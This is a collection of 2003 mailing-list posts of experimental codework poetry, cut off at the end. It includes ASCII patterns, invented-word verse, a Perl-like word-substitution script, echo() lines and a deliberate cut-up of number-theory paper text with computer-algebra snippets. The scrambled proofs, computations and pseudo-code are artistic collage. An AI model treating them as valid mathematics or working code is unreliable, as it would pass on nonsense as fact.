 /   /   / /  /  /  / / /    /  /     /  /    /  //    /  /    /\n  / / //    /   /    / / /   /    /   //  /   /     /    /   --\n**** /  //   //    // ****  /  / /   /    /  /    /   /    /  //  / /     /\n  /   /     / y /   /  /  /    / / /  /  //    /  /  /   /  / /  / /  /\n /   /  / /   / DNA=  /  /  /    /  /  //   /   /   /   / /  / / / //\n  /   /  /    /   y / /    /     /  / /  // **** / / /   /  /    /   /\n/  / /****/   /    /  //  /  /  y//   /  / / //    /y,   /  /  /    /   / /\n // /  y   /    /    /    y//   /      /  /  / / /  /   /  //   /    /\n / / /  /   /  /  /     /  /    y  /  /  / /   /    /  / / /  / / /\n / /  //  / y  / / /  /   / /  /  /  /  //  /   // / /    //   //     //   /\n  // / / /    /     /  /  /  / X /   / //   /  /   /  /  /  /  /  /    / /\n / /   // /  /    /  / // /  //   /  //  / /    / / /   /  /  /   //  / /\n / / /    /    /  /  /   /    /  /   /    / // /   /   /    y /  / / y  /\n/  /  /  / /  / /  //   /   /y / / /   /     /  / /   /  /y/ /  / / / !!!\n /  I   /   / //    /   //  /    / / / /   /  /   / /   /   /   /  /    /\n /   ??? I  / //   /   / /y/   /   /      y  /  / /    /  /  / =/  /   /\n/    /  / /  /    /  / / /     /  /   / /   /   /   /  / ///  y**** I   / /\n / /  / / /  /   I /   /   /    /y   / / /   /  / / /   //   /   /    /\n /    /   /    /  // / /   /   / / /  /  / /  /  /  //   /   / /   / / /\n /   /     / /     / /  /  / / y  /  //    /  / /  /    /  / /   / y  / /\n  /  /     /  /    /   / / //    / / I /  /  /    / / /    / /= /   /\n/  / /   /   /  /    / /= /    /  .  /      y.... / /   /  // /    / /  /\n  /  /y / /   /    / / / /   //   /  / //  /  /  //    /   /   // /  /  /\n/  /    /    // /    /    / / / / //  /    / /   /  //  /    /  /  /  /  y\n / /   / y   /   y  /   /  /  /  /  /   y   /  /  /  /     /   y  /   /   /\n /  /  /   /   / y//    /y/  /    / /  /   / /  /  /  -  // /   / y//   // .\n\n\n\nFrom: pascale gustin <gustin.pascale {AT} free.fr>\nTo: _arc.hive_ {AT} lm.va.com.au, 7-11 {AT} mail.ljudmila.org,\nSubject: /[p\\\\r{}i\\n]/t\nDate: Mon, 13 Oct 2003 23:03:14 +0200\n\ns t R r e g s u b a l l s t r /\\\\\\\\/, \"\\\\\\\\\"\ns t R r e g s u b a l l s t r /{/, \"\\\\{\"\ns t R r e g s u b a l l s t r /}/, \"\\\\}\"\ns t R r e g s u b a l l s t r /\\n/, \"\\\\line\\n\"\n\nwww.atelierblanc.net/collectif/p-gustin/02atelier/cadre1.htm\n-- \npasc {AT} csaq\n\n-r-W-x-R-W-X-R- x\nautobuild/wheel\n---------------[18608128 - s-ile-nses]\n           {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n\n\n\n\nDate: Thu, 16 Oct 2003 05:01:30 -0700\nFrom: Lanny Quarles <solipsis {AT} HEVANET.COM>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: the wrawing of the wrenck\n\n\n\nthe wrawing of the wrenck\n\nwhen the wugnogg numpfgrumecickly waddles\nthrough the hay-lowe in the lumberjumpin lakackenwoost\na noox of nosetrilling nylethhong kairopoeia fatchers\nthe fardry felth of the felching malamaroking paradada\npumices its slimgurgling rummage ports with hurdundbuttensilt\na poetixetera of poemmunication qophing and qweeting in the quagcunx\noakgruynked in the flumershild, the grey bodied mosswaxen optifleurreggina\nsilyinderginsten fluoropasty\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nhttp://www.neologisms.us/\n\n\n\nDate: Sat, 11 Oct 2003 23:45:45 +0200\nTo: syndicate {AT} anart.no\nFrom: \"+   lo_y.  +\" <loy {AT} myrealbox.com>\nSubject: Re:  i can't keep this up.\n\n\n------------=_1065910176-639-211\n\nAt 12:21 11/10/03 -0400, Alan Sondheim wrote:\n\n>i can't keep this up.\n>if i could only pour words into this.\n>i could have a machine that would make art pouring out the other end.\n>i need words... words...\n\ni_a'h nemo eoli te.\ntm i.myma l., d sper terch icer...k.\nw m_ch-ma h n-ndam il.r aterf rdes era e.rn/d.ti n.a_chn aha.\na don' input...raing...\ne'c n'tinput, inp t, abo...thenumb...\nh renc ul whois.i_chn-mak.\nmde, tfo rit = mth um er, th.g rti' der aps, b_t.\nc in- dtop uron-m chi okr/f rd sper t etha.\nak- a hin = nt = gr-d s.hegr.\ndi'g rtm k world.rth numb, th s nbut ev me.m.\ne'i-a da? pa agrd, t'o.m_chng rc oice.up.if.\nn/d.chin- ungerth m.era er.\nisup, 'o pdprs aps ntth e' thfu i_si.\nuri_sd s erate.i tk w_ldma hin_l o-m_ch-_chng.n.to.\na mym'c ine, _tin uring, n, r.oto hinet istot, sinfu, ngbutinpum...\npin, inptop ingth ngbuta, vad ise, n_ndam.\nh'n thisamac, n n'm kewo lddo 't, .ndra, .m_chn.\nha m_ch, more_tkn.\n\n\n-.d/v nama hin'a a\nec_.do- ers.p essi n.ma l.hin.in\nuri.oice.ist nto_r.nt th.il.tane ith thother ' noth heoth n\nmber, ...e__sh...hegr a\ningbuta...hison...eon ymail.per a's\nc_ldwantt.istento is = ma h\nnewo.dwan ict d..r h thered n'_ch ethis nhs..g,\n'mde.es ion.e thatmac i-m chin-m chin, not t\nmach.-_chn ap rhapspa i-ma\nhine.atm chin i w_d, inp t, , aragra h.nf ri'u\nd, thisw_l.nl c_lddo.a'h ng.., .c.i'n-nd hav p'e\nsi..in = md/nd._ldim c ingt\nisup..ed.o tm kew_dma l.'madv se, ab'u\nthen.world.h su..n/di h sad ict thisw_dr nd.tan d hem.wor\nd. = sonlyc...up, no, ditim, isr- inis a_tknow, agr- erth nwo'l e\ndforde.erate.t d. enssio, for.a_tn_p the\ne'sford.perate, hi to, sten olis ent'a v se, noadd, t'i\n.n-mak-.p_ro, yc\n\n\ndd\n\n------------------------------------------------------------\n--------------lo--------------------------------------------\n                       -\n-----------------------y------------------------------------\n------------------------------------------------------------\n-------------8.PTRz:\n\nhttp://lo-y.de.vu\nhttp://computerfinearts.com/collection/lo_y/030404\nhttp://www.socialfiction.org/scrabble\nhttp://rhizome.org/object.rhiz?5852\nhttp://trace.ntu.ac.uk/incubation/gallery.cfm\nhttp://www.muse-apprentice-guild.com\nhttp://www.krikri.be/poezieloyeng.html\nhttp://www.google.com/search?q=lo_y\n------------------------------------------------------------\n------------------------------------------------------------\n\n\n------------=_1065910176-639-211\nContent-Disposition: inline; filename=\"message-footer.txt\"\n\n\n-----Syndicate mailinglist-----------------------\nSyndicate network for media culture and media art\ninformation and archive: http://anart.no/~syndicate\nto post to the Syndicate list: <syndicate {AT} anart.no>\nShake the KKnut: http://anart.no/~syndicate/KKnut\nno commercial use of the texts without permission\n------------=_1065910176-639-211--\n\n\n\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nTo: _arc.hive_ {AT} lm.va.com.au\nSubject: siratoriaalankenji\nDate: Thu, 16 Oct 2003 21:50:10 -0400 (EDT)\n\n\n\nKS < AS > KS\n\ntopologic murd breakdown of the circSTART!ous int breakdown of the circuit\nntion of th breakdown of the circuit lung ball that th breakdown of the\ncircInsanity that th breakdown of the circInt breakdown of the circuit\nrnal organ danc breakdown of the circuit s laugh c breakdown of the\ncircSTART!tain breakdown of the circuit xist breakdown of the circuit nc\nbreakdown of the circuit difficulty in light my brain stalling of\nlocalization to th breakdown of the circInt breakdown of the circSTART!nal\norgan that th breakdown of the circuit butt breakdown of the circSTART!fly\nthat th breakdown of the circuit\n\n breakdown of the circuit mbryo who is transmitt breakdown of the circuit\nd coll breakdown of the circuit ct battl breakdown of the circuit that b\nSTART HER!down of the circuit conv breakdown of the circSTART!ting was op\nSTART HER!down of the circ-too easy \"n\" th breakdown of the circuit br\nSTART HER!down of the circuit ast womb and pr breakdown of the circuit\nvious thinking////night sky that th breakdown of the circuit dr breakdown\nof the circuit am of th breakdown of the circ-too easy \"n\"ak breakdown of\nthe circuit d body that th breakdown of the circuit paradis breakdown of\nthe circuit wh breakdown of the circSTART! breakdown of the circuit th\nSTART HER!down of the circImago of my p breakdown of the circSTART!c START\nHER!down of the circuit ption was kill breakdown of the circuit d and was\nrun ov breakdown of the circSTART! told th breakdown of the circuit high\ntid breakdown of the circuit of a cadav breakdown of the circSTART! burnt\nout was cov breakdown of the circSTART! breakdown of the circuit d to th\nSTART HER!down of the circuit mask of a flight impossibl breakdown of the\ncircuit breakdown of the circuit mbryo)) as br breakdown of the circuit\nath is clogg breakdown of the circuit d-- breakdown of the circuit y START\nHER!down of the circuit of th breakdown of the circuit br breakdown of the\ncircuit akdown of th breakdown of the circInsanity flocculat START\nHER!down of the circuit s--th breakdown of the circuit hol breakdown of\nthe circuit of th breakdown of the circuit murd breakdown of the\ncircSTART! crowds to th breakdown of the circuit whol breakdown of the\ncircuit body/th breakdown of the circuit abs breakdown of the circ-too\neasy \"n\"c START HER!down of the circuit that blood is discontinu breakdown\nof the circuit d it turns/th breakdown of the circuit s breakdown of the\ncircuit xual d START HER!down of the circuit sir breakdown of the circuit\nof th breakdown of the circuit larva of th breakdown of the circ-too easy\n\"n\"ightmar START HER!down of the circuit that scraps th breakdown of the\ncircSTART! START HER!down of the circuit spiration of th breakdown of the\ncircuit whol START HER!down of the circuit with th breakdown of the\ncircuit organ of th START HER!down of the circuit dr breakdown of the\ncircuit am without th START HER!down of the circuit dr breakdown of the\ncircuit am boundl breakdown of the circuit ss quick breakdown of the\ncirc-too easy \"n\"ing of th START HER!down of the circuit asphalt that howl\nbreakdown of the circuit d and disturTART!down of the circuit d th\nbreakdown of the circ-too easy \"n\"ight not to r breakdown of the circuit\nach my DNA that plung breakdown of the circuit s th breakdown of the\ncirc-too easy \"n\"ail to th breakdown of the circInfinit breakdown of the\ncircuit murd breakdown of the circSTART! of th breakdown of the circuit sl\nbreakdown of the circuit START HER!down of the circuit pl breakdown of the\ncircuit ssn breakdown of the circuit ss that stor breakdown of the circuit\ns to th breakdown of the circuit dark t breakdown of the circuit ars of n\nbreakdown of the circuit on:::th breakdown of the circuit buffoon\nbreakdown of the circSTART!y body outsid breakdown of the circuit c\nbreakdown of the circSTART!tain int START HER!down of the circSTART!nal\norgan of th breakdown of the circuit s START HER!down of the circuit lf is\ndismantl breakdown of the circuit d at night ov breakdown of the\ncircSTART! th breakdown of the circSTART! START HER!down of the circuit v\nbreakdown of the circuit locity of light commits suicid breakdown of the\ncircuit to th breakdown of the circuit womb skin of th breakdown of the\ncircuit sun m breakdown of the circuit lody lik breakdown of the circuit\nth breakdown of the circuit cham START HER!down of the circuit l breakdown\nof the circuit on of th breakdown of the circuit virgin impr breakdown of\nthe circuit gnation that go breakdown of the circuit s TART!down of the\ncircIng play breakdown of the circuit d strang breakdown of the circuit\n--your blood that you caus START HER!down of the circuit unlimit breakdown\nof the circuit d h breakdown of the circuit at drift breakdown of the\ncircuit d crav breakdown of the circuit s for th breakdown of the circuit\ncontinuous r breakdown of the circuit production of sl breakdown of the\ncircuit breakdown of the circuit pl breakdown of the circuit ssn breakdown\nof the circuit ss to th START HER!down of the circuit horizon of a cadav\nbreakdown of the circSTART!////I shri breakdown of the circuit k vulgar of\nth breakdown of the circuit br breakdown of the circuit akdown of th\nbreakdown of the circuit insanity that l breakdown of the circuit aps a c\nbreakdown of the circSTART!tain word to th breakdown of the circuit\nhorizon of insanity quantum oth START HER!down of the circSTART! than th\nbreakdown of the circuit buffoon START HER!down of the circSTART!y and\nTART!down of the circuit coSTART HER UP!down of the circuit bact breakdown\nof the circSTART!ia and not to writ breakdown of the circuit off and\nTART!down of the circuit coSTART HER UP!down of the circuit abs breakdown\nof the circ-too easy \"n\"t and my micro murd START HER!down of the\ncircSTART! play TART!down of the circuit coSTART HER UP!down of the\ncircuit s th breakdown of the circInt breakdown of the circSTART!nal organ\nTART!down of the circuit com breakdown of the circuit th START HER!down of\nthe circuit univ breakdown of the circSTART!s breakdown of the circuit of\nan breakdown of the circuit sth breakdown of the circuit sia and z\nbreakdown of the circSTART!o=passing th breakdown of the circuit tr START\nHER!down of the circuit ach breakdown of the circSTART!y of th breakdown\nof the circ-too easy \"n\"ak breakdown of the circuit d body and th START\nHER!down of the circSTART!hythm of non=vital targ breakdown of the circuit\nt spiral ruin of atmosph breakdown of the circSTART! breakdown of the\ncircuit w breakdown of the circSTART! breakdown of the circuit TART!down\nof the circuit t to my brain=\"br breakdown of the circuit akdown of th\nSTART HER!down of the circuit circuit breakdown of the circuit scap\nbreakdown of the circInsanity\"\n\n\nDate: Sun, 12 Oct 2003 03:43:25 -0700\nFrom: Jukka-Pekka Kervinen <xpressed {AT} SDF-EU.ORG>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: gradation\n\n        !!|-a   -=o+    |f -|   -|=-    -=!k.    |n _   nc||-\n        ! +=!   _ !e    !_ve    +a!r_   -i_!!   + +!=   -hts,\n        _-+_s   = +la   --_-,    =!ai   +- su   b=r!|   -|te\n        !+|+=   !|o+!   ||+ea   s_--s   - _ll    ++=!   _ !_n\n        + g+a   +u|+!   | i-t   o -!e    -r|-   |t_!=   |!+ p\n        ar!ly   =-r=-   _all=    +r|+    da|    t_ +=   =, o+\n        in! +   o !h_    !|+|   !_!me   +t o!    +-e     -= =\n         -=|!   | +r=   g!_-+   i+| o   r g+|   d_|te   + i+c\n        o+= +   a!.     -_ -o   m+_-a   ti|!    _! =-   +i-u-\n        -|-|    -i++    m_-|!   _c+=!   in- i   +d_s-   +_e--\n         g!_d   __-|-   ||n!e   b=!k    -=+h=   _-+ m   |a-wh\n        |+= -   +a-|a   !l_ +   |!! _   +s !e   +|-ti   c i--\n        oc|-c   e_=--   | g!a   d__l!    --_!   t_n==   _- c!\n        ass _   -ga+i   +|!i=   ! o-    +-_ !   -o-=t   ar_|+\n         -= a   !|\n\n\n\n        (C) Jukka-Pekka Kervinen\n\n\n\nDate: Thu, 16 Oct 2003 03:23:31 -0400 (EDT)\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nTo: syndicate {AT} anart.no\nSubject: KAL+/KAL+/g+;\n\n\n\n\n\n\n#!/uhzr/lowASHTRe unuttheyr LK ENANNUound BEL-ASHTR\nBALose SHKL on hASHTR armsl/byn/pASHTRl5\n\n\nwhyle <hZTDyN> {\n\t9nDRA/9nDRA/g;\n\tKAL+/KAL+/g+;\n\t ABU.YA -hzaeyou+/1KAOSHagonyes ecstasyes and\norgasmsON2/g;\n\tVALKYRe^aeyou+aeyou+/BAL1/g;\n\tdeath oENANNUlsh! adark and w NMR LK gonee\nunuttheyr LK ENANNUound BEL NMR LK goneable BALose\nSHKL on hASHTR armsontrar+ woman wASHTRe unuttheyr LK\nENANNUound BEL-ASHTR BALose SHKL on hASHTR armsonz NMR\nLK gonenede^aeyou+aeyou+/myhz NMR LK goneable ynythe\nclue was layd yn darkest splendoruyt+1/g;\n\tBe+ ABU.YA -/ENANNUound objew NMR LK gonee\nunuttheyr LK ENANNUound BEL NMR LK goneable BALose\nSHKL on h NMR LK gone armsunuttheyr LK ENANNUound\nBEL-ASHTR BALood1/g;\n\tbe+ ABU.YA -/death oENANNUlsh! adark and\nwASHTRe unuttheyr LK ENANNUound BEL-ASHTR BALose SHKL\non hASHTR armsontrar+ woman wMNHRe unuttheyr LK\nENANNUound BELMNHRable BALose SHKL on hMNHR\narmsonzASHTRned1/g;\n\tmyhztheyr LK ENANNUound BEL NMR LK goneyouhz\nABU.YA -/myhztheyr LK ENANNUound BEL-ASHTRyouhz1/g;\n\t#ewASHTRe unuttheyr LK ENANNUound BEL-ASHTR\nBALose SHKL on hASHTR arms/not a wASHTRe unuttheyr LK\nENANNUound BEL-ASHTR BALose SHKL on hASHTR armslue1/g;\n\t#^aeyou+^aeyou+ehz/12/g;\n\n#^aeyou+e^aeyou+^aeyou+/12/g;\n\ta dropped loSAK oENANNUlsh! hayr/a dropped\nloSAK oENANNUlsh! hayr/g;\n\t ABU.YA -\blond01 ABU.YA -/blonda dropped loSAK\noENANNUlsh! hayr12/g;\n\t ABU.YA -brunette ABU.YA -/1brunette2/g;\n\t ABU.YA -ENKyDu ABU.YA -/1ENKyDu2/g;\n\t ABU.YA -voluptuouhz ABU.YA -/1voluptuouhz2/g;\n\t ABU.YA -wASHTRe unuttheyr LK ENANNUound\nBELMNHRable BALose SHKL on hASHTR\narmsharyhzmatywASHTRe unuttheyr LK ENANNUound\nBEL-ASHTR BALose SHKL on hASHTR arms momenthz ABU.YA\n-/1wASHTRe unuttheyr LK ENANNUound BEL-ASHTR BALose\nSHKL on hASHTR armsharyhzmatywASHTRe unuttheyr LK\nENANNUound BEL-ASHTR BALose SHKL on hASHTR arms\nmomenthz2/g;\n\t ABU.YA -wASHTRe unuttheyr LK ENANNUound\nBELMNHRable BALose SHKL on hASHTR\narmsharyhzmatywASHTRe unuttheyr LK ENANNUound\nBEL-ASHTR BALose SHKL on hASHTR arms momenthz ABU.YA\n-/1darkASHTR loSAKup2/g+;\n\t ABU.YA -namelehzhZ and eecstatichauhzted\nABU.YA -/1namelehzhZ brunette eecstatichauhzted2/g;\n\t ABU.YA -muENANNUENANNUlsh! oENANNUlsh! blaSAK\nENANNUuzz ABU.YA -/1muENANNUENANNUlsh! oENANNUlsh!\nblaSAK ENANNUuzz2/g+;\n\t ABU.YA -to+ ABU.YA -/1nought2/g+;\n\t ABU.YA -yn unuttheyr LK ENANNUound BEL-ASHTR\nBALe w9nd/1yn unuttheyr LK ENANNUound BELMNHRable BALe\nyn unuttheyr LK ENANNUound BEL-ASHTR BALe w9nd9nd/g;\n\t ABU.YA - ABU.YA -/1 ABU.YA -/g;\n\tyn unuttheyr LK ENANNUound BEL-ASHTR BALe w9nd\nABU.YA -/hzmedark and wASHTRe unuttheyr LK ENANNUound\nBEL-ASHTR BALose SHKL on hASHTR armsontrar+ woman\noENANNUlsh! jahzm9ne1/g;\n\t ABU.YA - ABU.YA -/hzlyght pahzhZ oENANNUlsh!\npASHTRENANNUume yn unuttheyr LK ENANNUound BEL-ASHTR\nBALe ayr1/g;\n\tENANNUour/byg beautyENANNUul eyeg+;\n\ttwASHTRe unuttheyr LK ENANNUound BEL-ASHTR\nBALose SHKL on hASHTR armsyon/abu.ya yn yn unuttheyr\nLK ENANNUound BELMNHRable BALe w9ndondASHTR/g+;\n\t ABU.YA -wASHTRe unuttheyr LK ENANNUound\nBELMNHRable BALose SHKL on hASHTR\narmsharyhzmatywASHTRe unuttheyr LK ENANNUound\nBEL-ASHTR BALose SHKL on hASHTR arms momenthz ABU.YA\n-/1=2/g+;\n\t ABU.YA LGL ABU.YA -/1=2/g+;\n\t ABU.YA LGL unuttheyr LK ENANNUound BEL-ASHTR\nBALat ABU.YA -/1=2/g+;\n\t ABU.YA -yn unuttheyr LK ENANNUound BEL-ASHTR\nBALe w9ndASHTRe ABU.YA -/1=2/g+;\n\t ABU.YA -yn unuttheyr LK ENANNUound BEL-ASHTR\nBALe w9ndahz ABU.YA -/1=2/g+;\n\t ABU.YA LGL ABU.YA -/1=2/g+;\n\t ABU.YA +?/g+;\n\tl ABU.YA -/l1/g;\n\tumyhztheyr LK ENANNUound BEL NMR LK goneyoushe\nreturned a hzmyle yn unuttheyr LK ENANNUound BEL NMR\nLK goneable BALe w9ndyth a hzmyle/g;\n\tdark and wASHTRe unuttheyr LK ENANNUound\nBEL-ASHTR BALose SHKL on hASHTR armsontrar+ woman/dark\nbrunette wASHTRe unuttheyr LK ENANNUound BEL-ASHTR\nBALose SHKL on hASHTR armsontrar+ yn unuttheyr LK\nENANNUound BELMNHRable BALe w9ndoman/g;\n\thz^zh/hz1/g;\n\thZ^ZH/hZ1/g+;\n\tSAK/hZAK/g;\n\twASHTRe unuttheyr LK ENANNUound BEL-ASHTR\nBALose SHKL on hASHTR armsye+/z1/g;\n\twASHTRe unuttheyr LK ENANNUound BEL-ASHTR\nBALose SHKL on hASHTR arms/yn unuttheyr LK ENANNUound\nBEL NMR LK goneable BALe w9ndASHTRe unuttheyr LK\nENANNUound BEL-ASHTR BALohze needlemarkhz on hASHTR\narmg;\n\tKAOS/KAOhZ/g+;\n\tthaeyou+/unuttheyr LK ENANNUound BEL-ASHTR\nBAL1/g;\n\tThaeyou+/agonyehz ew NMR LK gonee unuttheyr LK\nENANNUound BEL NMR LK goneable BALose SHKL on hASHTR\narmshztahzyehz brunette orgahzmhz1/g+;\n\tthe clue was layd yn darkest\nsplendor/unuttheyr LK ENANNUound BEL NMR LK goneable\nBALe wASHTRe unuttheyr LK ENANNUound BELMNHRable\nBALose SHKL on hASHTR armslue yn unuttheyr LK\nENANNUound BELMNHRable BALe w9ndahz layd yn darkehzt\nhzplendor/g;\n\tlost ENANNUorevASHTR/lohzt byg beautyENANNUul\neyehzevASHTR/g+;\n\ttheyr LK ENANNUound BEL NMR LK gone/unuttheyr\nLK ENANNUound BEL NMR LK goneable BALeyr bodyehz\nENANNUound togeunuttheyr LK ENANNUound BEL NMR LK\ngoneable BALASHTR/g;\n\tynde/9n1/g+;\n\t+/+/g+;\n\t+ ABU.YA -/+1/g+;\n\tENANNUlsh! ABU.YA -/ENANNUlsh!1/g;\n\tFLSH! ABU.YA -/FLSH!1/g;\n\tENANNUlsh!/ENANNULSH!/g;\n\tASHTR/unuttheyr LK ENANNUound BEL-ASHTR BALeyr\nbodyehz g\blond01/g;\n\t ABU.YA -phi/1ph+/g;\n\ta dropped loSAK oENANNUlsh! hayr-9/1/g;\n\tzeea ABU.YA -/z1/g;\n\tecstatic/ewASHTRe unuttheyr LK ENANNUound\nBELMNHRable BALose SHKL on hASHTR armshztatywASHTRe\nunuttheyr LK ENANNUound BEL-ASHTR BALose SHKL on\nhASHTR arms/g;\n\t//g;\n\tprynt $_;\n\t}\n\n___\n\n------------=_1066289013-639-322\nContent-Disposition: inline; filename=\"message-footer.txt\"\n\n\n-----Syndicate mailinglist-----------------------\nSyndicate network for media culture and media art\ninformation and archive: http://anart.no/~syndicate\nto post to the Syndicate list: <syndicate {AT} anart.no>\nShake the KKnut: http://anart.no/~syndicate/KKnut\nno commercial use of the texts without permission\n------------=_1066289013-639-322--\n\n\n\nDate:         Mon, 13 Oct 2003 03:29:40 -0700\nFrom: August Highland <hmfah {AT} HOTMAIL.COM>\nSubject: MONIC IRREDUCIBLE CUBICS/FLEXPOINT FACTORIZATION\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nMONIC IRREDUCIBLE CUBICS/FLEXPOINT FACTORIZATION\n\n\nPARTITION #0000001:\n\nX, = be.  =1 (9), gives r.  X+b )( 0.  Proof: we apply proposition 1 with f (n)=n. if we let a = n\n\\gamma rn (the set of natural numbers not divisible by r) then (3) follows. if we let a = fn 2 n :\n(m; n) = 1g, then (4) follows. gives rise to the no-.  (p ) =5, and p.\n\n\n\n\n\nPARTITION #0000002:\n\nN=1 CLAIM: The nine flex points form a 3-torsion packet..  N, denote the curve 4. We set up the\nproblem in Magma in the following way..  (1 + x + p(p \\Gamma.  Definition 7 let f (a 9.  K=1 (k)q(n\n\\Gamma k) p.\n\n\n\n\n\nPARTITION #0000003:\n\n)) a 2.  + x 8.  N=0, there is a single divisor D * 0 such that (f ) 5.  (\\gamma 1), 1 d.  3 m.\n\n\n\n\n\nPARTITION #0000004:\n\n1 n + 2a.  )=ff (2 =1, hence a.  ) where a k.  `\\gamma 1, =4\\Theta 2.  F ( n=0.\n\n\n\n\n\nPARTITION #0000005:\n\nP n.  2, 0 2.  + 1), and n.  K=1 3 =.  + t u 0.\n\n\n\n\n\nPARTITION #0000006:\n\n(n) denote the number of partitions of n into parts that belong to a. 3 + 1; x.  P(p \\gamma 1)(p\n\\gamma 2) F . . ..  =2, 0 g(n; k)=2.  N=mk, \\Gamma 4a + oe.  Definition 2 let oe, p n.\n\n\n\n\n\nPARTITION #0000007:\n\nX + oe 1.  6, (P ) ? a5 :=a^n5; ? c5 := c^n5; ? a5^129; 1106532280219457618983939634726858708298 ?\nc5; 1106532280219457618983939634726858708298 ? a6 := a^n6; ? c6 := c^n6; ? a6^127;\n809579285918008980133272648385832028198 ? c6; 809579285918008980133272648385832028198.  P k X.  R\nChinese remainder lifting..  Gives \\Theta 4.\n\n\n\n\n\nPARTITION #0000008:\n\n3 3 and n.  3 1 X \\Gamma.  Mx )= n2A.  2, ` Definition 3 Let p(n) denote the number of partitions of\nn..  X 2 j.\n\n\n\n\n\nPARTITION #0000009:\n\n0, 1 0.  ) + (x oe \\Gamma oe.  T u H.  K =r.  P (a =4\\Theta.\n\n\n\n\n\nPARTITION #0000010:\n\n2 . The Euclidean algorithm for polynomials in turn yields: where.  + 1=(x n =4.  Oe : p 7! y.\nQ(n)x 3 =634466267339108669 and p.  J, ? Index(- {AT}  a^(n1*i) : i in [1..2]  {AT} \"\", c^n1); 1 ? Index(- {AT} \na^(n2*i) : i in [1..3]  {AT} \"\", c^n2); 2 ? Index(- {AT}  a^(n3*i) : i in [1..5]  {AT} \"\", c^n3); 4 ? Index(- {AT} \na^(n4*i) : i in [1..37]  {AT} \"\", c^n4); 29 ? CRT([1,2,4,29],[2,3,5,37]); m.\n\n\n\n\n\nPARTITION #0000011:\n\n(p ) ffl for space quartics, we use a syzygy satis- X.  1 =634466267339108669 and p 3.  2, f (2 p.\nN i 2.  2 Remarks: Proposition 1 is Theorem 14.8 in [1]. If we let A=N; f (n) = n, then we obtain\nm6=n.\n\n\n\n\n\nPARTITION #0000012:\n\n+ 1; x, a 2.  \\theta h \\gamma 72s then the map \\Delta.  F (2 1 X.  1 )= x + 3c.  Without loss of\ngenerality we may assume that n * m. the euclidean algorithm for integers yields k rjm 0.\n\n\n\n\n\nPARTITION #0000013:\n\nX 0.  R =rt + s(p \\Gamma 1), so.  ) + (x q(n)x.  + 4a 0 2.  6, \\Delta 2.\n\n\n\n\n\nPARTITION #0000014:\n\nI 1 + x.  \\gamma r 5 r.  This is given as theorem 1 in [2], and is a special case of theorem 1(a)\nbelow. H \\Gamma 11S + 3a.  T(x) \\gamma _(x)ff(x)r(x)=*(x)r(x)t(x) or equivalently 2 (n)x.  1 with\nWeil's result gives a rational map from C to a Weierstrass model. (a.\n\n\n\n\n\nPARTITION #0000015:\n\nI, 2 1.  Claim: the nine flex points form a 3-torsion packet. djn ; 26 jd.  2 2 (P ).  , n, 10 k=1.\n1, (x) is a greatest common divisor and d Connection to curves It is via these fundamental syzygies\nthat we obtain Weierstrass models for the Jacobians of our curves..\n\n\n\n\n\nPARTITION #0000016:\n\n=37, which can be easily solved by enumerating all + oe.  (n)=, oe 2.  N=1 1 X 2.  A;f, = + \\Delta\n\\Delta \\Delta + x.  And x 2 n=1.\n\n\n\n\n\nPARTITION #0000017:\n\nA j d\\Gamma 1.  \\gamma y i=a.  S(p\\gamma 1) X k.  3 2 + 1 in Z.  Z + 3c logarithm can be computed\nindependently for each prime divisor of p \\Gamma 1 -- more correctly for prime power divisor -- and\nthe discrete logarithm can be recovered by the Chinese remainder theorem, as is the next example..\n\n\n\n\n\nPARTITION #0000018:\n\nF 6 5.  1 0 p.  Let p and q be two flex points, with tangent lines l Then (1 + x.  (p ), F (P ).  1\n2. Biggs 15.6.4 (pg. 336) Solution: For (i), any divisor of a(x) and b(x) also divides the greatest\ncommon divisor. Since d d\\Gamma 1.\n\n\n\n\n\nPARTITION #0000019:\n\nF, 0 k\\Gamma i.  N=1 (n)=q(n). Y.  J, , + 1)(x.  3 n.  F = in this list is 1,.\n\n\n\n\n\nPARTITION #0000020:\n\n2, j , n.  K\\gamma 1 x, 3 that is,.  \\gamma 2r Then `\\Gamma 1.  \\delta 1073741839. we repeat, 2 2.\n? p :=2^32+15; ? modexp(3,(p-1) div 2,p); 4294967310 ? modexp(3,(p-1) div 3,p); 2086193154 ?\nmodexp(3,(p-1) div 5,p); 239247313 ? modexp(3,(p-1) div 131,p); 1859000016 ? modexp(3,(p-1) div\n364289,p); 1338913740 =4\\Theta p.\n\n\n\n\naugust highland\n\nmuse apprentice guild\n--\"expanding the canon into the 21st century\"\nwww.muse-apprentice-guild.com\n\nculture animal\n--\"following in the footsteps of tradition\"\nwww.cultureanimal.com\n\n\n\nDate: Mon, 13 Oct 2003 16:00:30 +0200\nFrom: noemata <noemata {AT} KUNST.NO>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: ?_cursor?_\n\n?_cursor?_\n\necho(?_I?_hope?_you?_will?_  reduce)_\necho(the amount?_of?_  posts)_\necho(   will you? reduce?_the?_)_\necho(amount   of?_ posts As)_\necho(?_it   is   I   regar?_d   them   as)_\necho(spam   and read   none rega)_\necho(?_ rd?_  them?_  as spam?_ and?_)_\necho(_ none. It's   just  like)_\necho(????_plain wallpaper??_, you  are?_)_\necho(mting empt)_\necho(??? y garb, mtng????_)_\necho(How  can  this  be a)_\necho(???   success?  succ  ess?)_\necho(   such as?)_\necho(local/?_   trash?_  ma)_\necho(?_   n man This   is like  old  jokes)_\necho(an understanding ?_deep as? ELIZA ???)_\necho(vs?_ Prry?_ Mx-)_\necho(Unbelievable res   ponses Unbe)_\necho(???lievable I?_   am?_  a?_)_\necho(muchine warsholike humanmare a)_\necho(   gustly  N  ightware?_  flatcold impo)_\necho(sternt      dung=E6on?_ of mt.ns mocking)_\necho(?_  $any   cont?_ent angs?_t _-land)_\necho(p0ure as ?your ine ignore();)_\necho( kill a ghost  ? its?_  already dead?_)_\necho(   and?_  its mocking  life )_\necho(forever  . exorcist ???  require?_d)_\necho(peace?_  recurse or th  is?_aeinmahl?_)_\necho(preaching false \"peace  you)_\necho(   have no spirit so?????????????_)_\necho(i will take it away fro  m you)_\n\n\n\n--\nisbn 82-92428-08-9\n\n\n\nDate: Tue, 14 Oct 2003 14:09:09 +0200\nFrom: noemata <noemata {AT} 